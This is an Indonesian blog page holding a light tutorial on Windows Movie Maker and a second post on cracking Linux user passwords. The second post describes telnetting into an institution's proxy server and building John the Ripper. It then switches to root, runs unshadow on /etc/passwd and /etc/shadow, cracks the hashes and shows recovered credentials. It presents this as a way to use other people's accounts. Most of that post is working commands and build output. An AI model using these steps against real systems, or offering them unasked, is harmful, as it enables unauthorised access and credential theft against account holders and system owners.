Wilujeng Sumping

Selamat menikmati di area gratis informasi

Jumat, 05 Oktober 2012

BELAJAR SENDIRI MEMBUAT
GAMBAR VIDEO ‘MENGGUNAKAN
WINDOWS MOVIE MAKER
Oleh:Rahmattullah
Selayang Pandang
Kita sering mendengar atau bahkan melihat sebuah album gambar seperti video klip ada Efectnya, suara lagu, dan effect perpindahan (Transition), seolah gambar klip beneran…
He…..he……….
Kalau saya lebih suka bilang begitu ,biarpun orang bilang itu video klip yang aneh .”Aduh ngotot ni …ye?”
“ Ya iyalah” kan ini hasil karya sendiri…..
Oke kita kembali ke topik kita,
Membuat video gambar sebenarnya tidaklah terlalu sulit dan yang terpenting hasilnya juga nggak jelek-jelek amat,(“itu menurut Versi saya” jangan protes ya?”).
“Dari tadi ngoceh melulu “……….he…..he……”
Nah sekarang pertanyaannya gimana caranya membuat video klip yang di bilang lumayan mudah itu ?” Pertanyaan yang pintar’,
Kita akan coba mem….buat video klip hanya menggunakan windows Movie Maker yang udah tersedia di Windows .Anda pernah mendengar Program Aplikasi Power point? Nah kira_kira hampir sama seperti itulah.”Terus kalau belum pernah denger Gimana?”Terlalu…!!!
Kalau Power point hanya di gunakan untuk Persenatsi. Nah, berbeda dengan Movie maker yang lebih cendrung digunakan untuk membuat album bergaya video klip.
“Ya udah daripada panjang lebar tetep nggak ngerti mendingan langsung aja kita buat klipnya.
Persiapan
Ø Tentukan tema album yang akan kita buat hal ini menjadi penting supaya hasilnya ngga asal-asalan.
Ø Siapkan gambar(Photo-photo) yang akan kita buat menjadi album video klip kita. Misalnya gambar yang berektensi*.jpeg,*.Gip dll.
Ø Terakhir siapakan juga lagu yang akan mengiringi album video klip yang akan kita buat. Lagu terserah menurut yang anda sukai(“Yang penting enak di denger…”).
Sekarang kita akan mulai bekerja, Setelah kita menyalakan Komputer ,kita Arahkan krusor kita kemenu:
gbr1.jpg
Gbr.1
Start- All program- Movie maker , lalu kilik
gbr2.jpg
Gbr.tampilan Windows Movie Maker gbr.2
Kira- kira begitulah tampilannya,
Nah sekarang kita lihat fungsi- fungsinya :
1.Capture video,disini kita Cuma akan bahas yang perlunya aja;
Ø Import video, Pada fungsi ini memungkinkan kita untuk memasukan video.
Ø Import picture,Memungkinkan kita untuk memamsukan file berupa gambar.
Ø Import Audio or music Memungkinkan kita memasukan music untuk mengiringi album kita.
2.Edit Movie
Ø View video Efect, Memberikan kemudahan kepada kita untuk memberi effect pada gambar / video yang kita buat.
Ø View video transition,Memberikan kemudahan pada kita untuk memberikan effect parpindahan dari gambar/video yang satu dengan yang berikunya.
Ø Make Tittle and credits, Yang berfunsi untuk memnambahkan tulisan yang kita inginkan.EX;Video klip pertamaku
Kemudian tanda panah yang mengarah pada layer berfungsi sebagai tempat kita menaruh gambar dan time line.jika kita klik pada menu show time line Maka gambarnya menjadi seperti berikut
gbr3.jpg
Garis waktu (time) gbr.3
Kita lihat di situ ada video,transition ,Audio,music, dan title overlay, garis waktu yang digunakan untuk menentukan darimana kita akan memulai memutar video klip.
“ Nah kira2 udah pada ngerti belum kalau belum terusin bacanya oke”?,
“”Saatnya beraksi…..kaya mau perang aja…””””…..
Arahkan krusor ke menu import(pilih salah satunya aja) video/gmbr, kali kita Cuma akan mengImport gambar(Picture), lalu klik. Disitu akan muncul kotak dialog yang meminta anda untuk menentukan Folder mana yang akan di import
gbr4.jpg
Contoh Gbr4. gambarberhasil Yang di import
Kemudian arahakan lagi krusor pada gambar yang akan kita simpan pada video klip sebagai gambar pertama kita,
Lalu klik kanan dan Pilih Copy, stelah itu arahkan krusor ke-menu storyboard
Dan klik kanan pada bagian yang bergambar Film*(pita Film), klik kanan dan pilih Paste,
gbr5.jpg
Gbr5.tampilan setelah di pindahkan
Untuk menentukan lamanya gambar yang akan tampil tergantung anda menarik dragnya Seperti perintah Clik and drag to trim the Clip, semakin panjang gambar itu maka akan semakin lama waktu tampil gambar/video tersebut .dan untuk meletakan gambar/video yang lainnya sama seperti langkah diatas, Cukup mudah bukan?” hanya bermodal Copy -paste kita udah bisa buat video klip ,”Eith…..tunggu dulu ini belum selesai’.Nah sekarang kita tambah efek video/gambarnya sekalian transition.
Pilih menu View video Efect(untuk Efect video/gmbr) setelah tampil jenis-jenis Video effect. lalu Pilih sesuai dengan kebutuhan kita(dengan cara mengkliknya), Kemudian klik kanan –Copy,
Arahkan krusor pada Photo yang sudah ada pada Pita Film(seperti gbr.5)yang akan di beri Efect, Klik kanan tepat pada photo –Pilih Paste hasilnya kan seperti gambar di bawah ini
6.jpg
Gbr.6.tampilan setelah diberi efect
Sekarang kita udah lihat ada tanda bintang artinya kita udah berhasil memasukan effect pada gbr/video kita.
Selanjutnya kita akan menambah Efect Transtion, Untuk menambah effect ini kita harus menambahkan gambar satu lagi”,Ya iyalah gimana mau ada effect perpindahan kalau gak ada gambar buat pindahnya “kira-kira begitu alasannya ‘Terus caranya gimana?” busyet dari tadi ngapain aja …..tidur ya?”(he…..he…).
Disini saya anggap anda sudah bisa menambahkan gamabr/video pada layer yang bergambar pita Flm tersebut.
Oke kita mulai lagi ,”
Sekarang anda pilih menu View video transition pada bagian Edit Movie . Setelah muncul jenis-jenis transition .Lalu anda pilih salah satunya klik kanan –pilih Copy.
Selanjunya anda arahkan krusor pada gambar/video yang akan di beri effect(pada gambar kedua ),
Setelah itu klik kanan lagi, lalu pilih paste, ini hasilnya ada di bawah
gbr7bru.jpggbr7.jpg
Gbr.7.tampilan setelah di beri trasition
Pada gambar .7 kita udah bisa lihat ada kotak persegi panjang “atau apalah itu namanya”saya kuarng ngerti yang jelas tandanya seperti Itu “Dasar tidak bertanggung jawab” heee….he….
Selajutnya kita tinggal nambah Suara music yang mengiringi video klip yang kita buat “Biar kaya video beneran gitu” Maunya”….
Coba arahkan krusor pada menu Capture Video-pilih Import audio or music. Nah ,disini akan terlihat ada kotak dialog yang meminta anda untuk menentukan salah satu lagu yang akan di import tentunya anda sudah menyimpan foldernya donk…”kalau udah pilih pada kotak dialog Import , kalau udah di import maka akan di tampilkan pada Collecction (Lihat gambar.5) disitu kita lihat ada file music yang berhasil di import dan juga judul lagunya.
Lalu arahkan krusor anda tepat di file lagu tersebut dan seperti biasa kita gunakan klik kanan plih Copy, kemudian rahkan krusor kemenu Audio/Music dan klik kanan dan kemudian Pilih Paste, yang perlu di perhatikan disini adalah kita harus memPaste tepat dikanan garis Time line sperti gambar berikut
8.jpg
Gbr.8 gamabr tampilan setelah di beri Efec music
Pada gbr.7 kita udah bisa lihat garis yang di tunjuk oleh garis kuning inilah yang namanya garis Time line, .kalau anda ingin memperpnajng lagunya tinggal di drag aja (alias ditarik –tarik “emang tali ditarik-tarik) seperti kita mendrag pada gbr.4.
Eith…..ada yang ketingglan neh,” gimana kalau lagunya biar banyak kan jadi lebih keren terus bisa ganti -ganti lagi?
“Baru aja mau ngasih tahu, Eh,,, udah ada yang nanya…..” Oke …..oke pasti dikasih tahu koq… jangan ngambek donk..?(^_^),
Caranya, “ya tinggal copy paste aja seperti cara yang diatas ,Tapi bedanya pastenya harus dibagian Menu Audio/music yang masih kosong alias disebelah kanan lagunya. Biar Enak kita lihat aja gambarnya
9.jpg
Gbr.9.Tampilan menambah lagu
Ayo kita lihat,
Di gbr.9, Udah bisa dilihat,caranya tinggal pindahkn Garis time line diakhir lagu yang pertama setelah itu Paste deh lagu berikutnya ,Selasai dech……”Asyik selesai “
sekarang kita tinggal memutarnya’ Kalu yang ini nggak bisa” kebangeten “…..sory Cuma becanda koq?….
Tinggal geser garis Tim line nya sesuka kita lalu klik kanan lalu pilih Play Time line atau bisa juga dengan cara geser garis Time line lalu pilih icon play pada tampilan yang kaya layar TV….,Nih gambarnya
10.jpg
Gbr.10. Memutar ulang video klip
Nah kita lihat di gbr.10, Cuma tinggal klik aja koq repot yang di
Tunjukin garis hitam tuh….!!. Nah kalau Time line sih terserah. Gampang kan “””
Gbr.10. Memutar ulang video klip
Terus kalau mau melihat secara Full Screen Tinggal pilih menu View- full screen (Alt+Enter).
Sekarang kita simpan hasil karya kita biar orang tahu kita juga bisa kok bikin video klip beneran ya .. gak Cuma mimpi….He,,,,,,,,he
· Pilih menu-file- save as project-Ok
Nah biar bisa di lihat di windows di media player tinggal plih.
· File- Save Movie File-Recordable CD-Next,
Kalu di rumah udah pake DVD_RW or DVD Combo pasti bisa di simpan “Kok ….kaya gitu sih mas ?” Emang udah dari Sononya”Menegetehe……
Pokoknya kalau ada CD dalam Drive ya tinggal next aja terus,sampai hilang nextnya.
“POKOKNYA SELAMAT MENCOBA DECH……………………………..”:”
“Udah dulu ..ah” dari tadi ngomong terus Jadi Cape Dech””……” kalau ada kendala tinggal kirim aja ke Email Abang neh E-mailnya: jombi_par@yahoo.com/rahmat_vina@yahoo.com
Abang Maksudnya anak buangan Lho……..he…..he…..
By:
RAHMATTULLAH

Hacking Password User di mesin linux


Kali ini, kita akan melakukan teknik hacking password
di Linux. Teknik ini digunakan untuk mendapatkan
password user yang tercatat di sistem Linux, baik di
lingkungan jaringan maupun komputer stand alone.
Wooaaw… luar biasa!!! Kita bisa menggunakan user
orang lain untuk mengakses sistem.
Mungkin sebagian dari Anda pernah mencoba salah
satu software yang cukup terkenal di lingkungan
Unix/Linux ini. Software ini dinamakan John the
Ripper Password.
Oke, tanpa basa basi lagi, kita akan coba untuk melakukannya.
Pada kasus kali ini, saya akan mencoba
untuk menggunakan salah satu mesin server Linux
Redhat di suatu instansi yang menggunakan server
Linux sebagai proxy server internet mereka.
Tentunya langkah-langkah yang dilakukan di sini bisa
berbeda dengan yang Anda uji coba di tempat Anda.
1. Gunakan Google untuk mencari alamat paket
John the Ripper dengan kata kunci “john”.memasukan-kata-kunci.jpg
Gambar 18.1 Memasukkan kata kunci di Google
2. Telnet ke server Linux, diasumsikan alamat IP
Address Server adalah 192.168.0.254.
telnet-keserver-target.jpg
Gambar 18.2 Telnet ke server target
Kata kunci “john”
Alamat ditemukan
3. Masukkan nama user dan password pada promp
login. Pada kasus ini diasumsikan saya memiliki
account di server.
login-keserver.jpg
Gambar 18.3 Login ke server target
4. Pada promp shell Linux, gunakan wget untuk
men-download paket John the Ripper dengan mengetikkan
perintah:
mendownload-paket-sofware.jpg
Gambar 18.4 Men-download paket software
menggunakan wget
User name dan
password
5. Ekstraklah paket software John the Ripper.
[syukrie@lp3iserv syukrie]$ tar xvfz john-
1.7.2.tar.gz
6. Pindah ke direktori john-1.7.2.
[syukrie@lp3iserv syukrie]$ cd john-1.7.2/src
7. Instalasi paket software John the Ripper menggunakan
perintah “make” dengan opsi “linuxx86-
sse2”.
[syukrie@lp3iserv src]$ make linux-x86-sse2
Proses instalasi akan terlihat seperti berikut ini.
ln -sf x86-sse.h arch.h
make ../run/john ../run/unshadow ../run/unafs
../run/unique \
JOHN_OBJS=”DES_fmt.o DES_std.o DES_bs.o
BSDI_fmt.o MD5_fmt.o MD5_std.o BF_fmt.o
BF_std.o AFS_fmt.o LM_fmt.o batch.o bench.o
charset.o common.o compiler.o config.o
cracker.o crc32.o external.o formats.o
getopt.o idle.o inc.o john.o list.o loader.o
logger.o math.o memory.o misc.o options.o
params.o path.o recovery.o rpp.o rules.o
signals.o single.o status.o tty.o wordlist.o
unshadow.o unafs.o unique.o x86.o x86-sse.o”
make[1]: Entering directory
`/home/syukrie/john-1.7.2/src’
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops DES_fmt.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops DES_std.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops DES_bs.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops BSDI_fmt.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops MD5_fmt.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops MD5_std.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops BF_fmt.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops BF_std.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops AFS_fmt.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops LM_fmt.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops batch.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops bench.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops charset.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops common.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops compiler.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops config.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops cracker.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops crc32.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops external.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops formats.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops getopt.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops idle.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops inc.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops john.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops list.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops loader.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops logger.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops math.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops memory.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops misc.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops options.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops params.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops path.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops recovery.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops rpp.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops rules.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops signals.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops single.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops status.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops tty.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops wordlist.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops unshadow.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops unafs.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops unique.c
gcc -c x86.S
gcc -c x86-sse.S
gcc -s DES_fmt.o DES_std.o DES_bs.o BSDI_fmt.o
MD5_fmt.o MD5_std.o BF_fmt.o BF_std.o
AFS_fmt.o LM_fmt.o batch.o bench.o charset.o
common.o compiler.o config.o cracker.o crc32.o
external.o formats.o getopt.o idle.o inc.o
john.o list.o loader.o logger.o math.o
memory.o misc.o options.o params.o path.o
recovery.o rpp.o rules.o signals.o single.o
status.o tty.o wordlist.o unshadow.o unafs.o
unique.o x86.o x86-sse.o -o ../run/john
rm -f ../run/unshadow
ln -s john ../run/unshadow
rm -f ../run/unafs
ln -s john ../run/unafs
rm -f ../run/unique
ln -s john ../run/unique
make[1]: Leaving directory
`/home/syukrie/john-1.7.2/src’
Catatan:
􀀹 Opsi ini dipakai sesuai dengan sistem operasi
yang digunakan, yakni Linux, untuk instalasi
paket John the Ripper. Jika Anda menggunakan
mesin FreeBSD, gunakan opsi “freebsdx86-
sse2”
􀀹 Untuk mengetahui penggunaan opsi ini, Anda
dapat ketikkan perintah “make” saja di shell.
􀀹 Jika Anda ingin menginstalasi paket John the
Ripper untuk mesin yang general, gunakan
opsi “generic”. Namun opsi ini akan memperlambat
proses instalasi.
8. Hapus sisa instalasi menggunakan perintah “make
clean” dengan opsi “linux-x86-sse2”.
[syukrie@lp3iserv src]$ make clean linux-x86-
sse2
rm -f ../run/john ../run/unshadow ../run/unafs
../run/unique ../run/john.bin ../run/john.com
../run/unshadow.com ../run/unafs.com
../run/unique.com ../run/john.exe
../run/unshadow.exe ../run/unafs.exe
../run/unique.exe
rm -f ../run/john.exe *.o *.bak core
rm -f detect bench generic.h arch.h sparc.h
tmp.s
rm -f DES_bs_s.c DES_bs_n.c DES_bs_a.c
cp /dev/null Makefile.dep
ln -sf x86-sse.h arch.h
make ../run/john ../run/unshadow ../run/unafs
../run/unique \
JOHN_OBJS=”DES_fmt.o DES_std.o DES_bs.o
BSDI_fmt.o MD5_fmt.o MD5_std.o BF_fmt.o
BF_std.o AFS_fmt.o LM_fmt.o batch.o bench.o
charset.o common.o compiler.o config.o
cracker.o crc32.o external.o formats.o
getopt.o idle.o inc.o john.o list.o loader.o
logger.o math.o memory.o misc.o options.o
params.o path.o recovery.o rpp.o rules.o
signals.o single.o status.o tty.o wordlist.o
unshadow.o unafs.o unique.o x86.o x86-sse.o”
make[1]: Entering directory
`/home/syukrie/john-1.7.2/src’
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops DES_fmt.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops DES_std.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops DES_bs.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops BSDI_fmt.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops MD5_fmt.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops MD5_std.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops BF_fmt.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops BF_std.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops AFS_fmt.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops LM_fmt.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops batch.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops bench.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops charset.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops common.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops compiler.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops config.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops cracker.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops crc32.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops external.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops formats.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops getopt.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops idle.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops inc.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops john.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops list.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops loader.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops logger.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops math.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops memory.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops misc.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops options.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops params.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops path.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops recovery.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops rpp.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops rules.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops signals.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops single.c
101
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops status.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops tty.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops wordlist.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops unshadow.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops unafs.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops unique.c
gcc -c x86.S
gcc -c x86-sse.S
gcc -s DES_fmt.o DES_std.o DES_bs.o BSDI_fmt.o
MD5_fmt.o MD5_std.o BF_fmt.o BF_std.o
AFS_fmt.o LM_fmt.o batch.o bench.o charset.o
common.o compiler.o config.o cracker.o crc32.o
external.o formats.o getopt.o idle.o inc.o
john.o list.o loader.o logger.o math.o
memory.o misc.o options.o params.o path.o
recovery.o rpp.o rules.o signals.o single.o
status.o tty.o wordlist.o unshadow.o unafs.o
unique.o x86.o x86-sse.o -o ../run/john
rm -f ../run/unshadow
ln -s john ../run/unshadow
rm -f ../run/unafs
ln -s john ../run/unafs
rm -f ../run/unique
ln -s john ../run/unique
make[1]: Leaving directory
`/home/syukrie/john-1.7.2/src’
9. Ambil file passwd dan shadow di direktori /etc.
􀂃 Perintah untuk berpindah dari user biasa ke
user root.
[syukrie@lp3iserv syukrie]$su –
􀂃 Perintah untuk berpindah ke direktori john-
1.2.7/run.
[root @lp3iserv run]# cd
/home/syukrie/john-1.2.7/run
􀂃 Perintah untuk membuat file mypasswd.
[root @lp3iserv run]# umask 077
[root @lp3iserv run]# unshadow /etc/passwd
/etc/shadow > mypasswd
10. Jalankan John the Ripper, berikut perintahnya.
[root @lp3iserv run]# ./john mypasswd
11. Lihat hasilnya, berikut perintahnya.
[root@lp3iserv run]# ./john –show mypasswd
hasil-pencurian-password-dan-user-name.jpg
Gambar 18.5 Hasil pencarian Username dan Password
Username dan Password yg ditemukan:
user “guest” password “guest”
user “tamu” password “tamu123”
Nah, sekarang kita dapat mengetahui password user
guest dan tamu seperti terlihat pada Gambar 18.5, asik
khan?
Anda tentunya bisa menggunakan account yang sudah
Anda dapatkan password-nya tersebut.